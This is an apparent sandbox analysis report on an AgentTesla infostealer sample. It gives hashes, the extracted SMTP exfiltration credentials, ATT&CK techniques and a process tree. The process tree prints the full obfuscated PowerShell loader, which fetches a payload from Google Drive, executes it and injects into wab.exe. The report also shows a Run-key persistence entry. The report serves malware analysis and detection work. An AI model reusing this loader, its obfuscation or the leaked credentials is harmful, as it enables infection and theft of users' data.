agenttesla | d43caa8513d5c833150caaea54a56ebad2306f89cac3266d057d7f47282c1a11

General

Target

SKIIP 83EC125T1 22-0-05-24RQ.vbs
Size

5KB
MD5

62bc79cdf5d55f891ae6d2a662cb87fc
SHA1

2ab352feb12da98eca4c5ec9ce4b349f5731ab50
SHA256

d14ef42bd2f3ecb7ff2e7ea8b7fd79b06f5b048c2f181381b5f8b790b7228f3b
SHA512

1335d32fa999b5f3729f0b94caf214e09b78c9f3108c05e8fb6fddb828f7d8049a17c2e1b72ca12203ebdda0141d22c326e1986057677fdb9efe6970638c7db2
SSDEEP

96:QsLisJvmYz2W6/F5J9eI8L7YMH8NJPW0agOVTLU5VFPB5Gv9rmJ/pCz6cfp:QJs7R6/F53IYG8NJu0aTV/cFaFrmxpCv

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.medicalhome.com.pe
Port:
587
Username:
[email protected]
Password:
MHinfo01
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2564	powershell.exe
7	2564	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\GrOcCQC = "C:\\Users\\Admin\\AppData\\Roaming\\GrOcCQC\\GrOcCQC.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2772	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2444	powershell.exe
2772	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2444 set thread context of 2772	2444	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2564	powershell.exe
2444	powershell.exe
2444	powershell.exe
2772	wab.exe
2772	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2444	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	2772	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2964 wrote to memory of 2564	2964	WScript.exe	29
PID 2964 wrote to memory of 2564	2964	WScript.exe	29
PID 2964 wrote to memory of 2564	2964	WScript.exe	29
PID 2564 wrote to memory of 2756	2564	powershell.exe	31
PID 2564 wrote to memory of 2756	2564	powershell.exe	31
PID 2564 wrote to memory of 2756	2564	powershell.exe	31
PID 2564 wrote to memory of 2444	2564	powershell.exe	32
PID 2564 wrote to memory of 2444	2564	powershell.exe	32
PID 2564 wrote to memory of 2444	2564	powershell.exe	32
PID 2564 wrote to memory of 2444	2564	powershell.exe	32
PID 2444 wrote to memory of 2600	2444	powershell.exe	33
PID 2444 wrote to memory of 2600	2444	powershell.exe	33
PID 2444 wrote to memory of 2600	2444	powershell.exe	33
PID 2444 wrote to memory of 2600	2444	powershell.exe	33
PID 2444 wrote to memory of 2772	2444	powershell.exe	34
PID 2444 wrote to memory of 2772	2444	powershell.exe	34
PID 2444 wrote to memory of 2772	2444	powershell.exe	34
PID 2444 wrote to memory of 2772	2444	powershell.exe	34
PID 2444 wrote to memory of 2772	2444	powershell.exe	34
PID 2444 wrote to memory of 2772	2444	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKIIP 83EC125T1 22-0-05-24RQ.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"
    3⤵
    PID:2756
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"
      4⤵
      PID:2600
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Miauled.Bio

Filesize
513KB

MD5
5b57c4407f9d0632c096d9a498cae912

SHA1
47b678f24bd4058986a9d87e06fe3826bda70f65

SHA256
4d198b43eb5c549aca827741cbb753ddb35bb444cb0599a8afe355f110d74fe6

SHA512
bffa2c0c420bd29fca818d9acbd60a637e8f51dbdc789d26decf7169cda9f641deeba8e89aef9ecb74be67c4cb3080269650b55e70da7d1aa095169e4d43f670

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\THYGLPHDBC2W2E2L3VZK.temp

Filesize
7KB

MD5
f1a2311ef9e4501b2496f93536820abd

SHA1
db6fe7f465796bae490cb760c700d9cac2218d45

SHA256
fc8d15181250db78e1e083bec96cc52a393c299f8d532ee1d8d726cf55392263

SHA512
08e58d7cff2042e1c73162569382791d320f61fc1152565887c442dfe8e4e4fddd25a62690924b43a53d69ac6ec8064cb06c7ed6282d62fb69ec07a4faff798e

Download Submit
memory/2444-17-0x00000000064C0000-0x0000000008582000-memory.dmp

Filesize
32.8MB

Download
memory/2564-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-4-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2564-8-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-6-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2564-7-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-16-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2564-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2564-18-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2564-44-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2772-41-0x0000000000A90000-0x0000000001AF2000-memory.dmp

Filesize
16.4MB

Download
memory/2772-43-0x0000000000A90000-0x0000000001AF2000-memory.dmp

Filesize
16.4MB

Download
memory/2772-45-0x0000000000A90000-0x0000000000B06000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads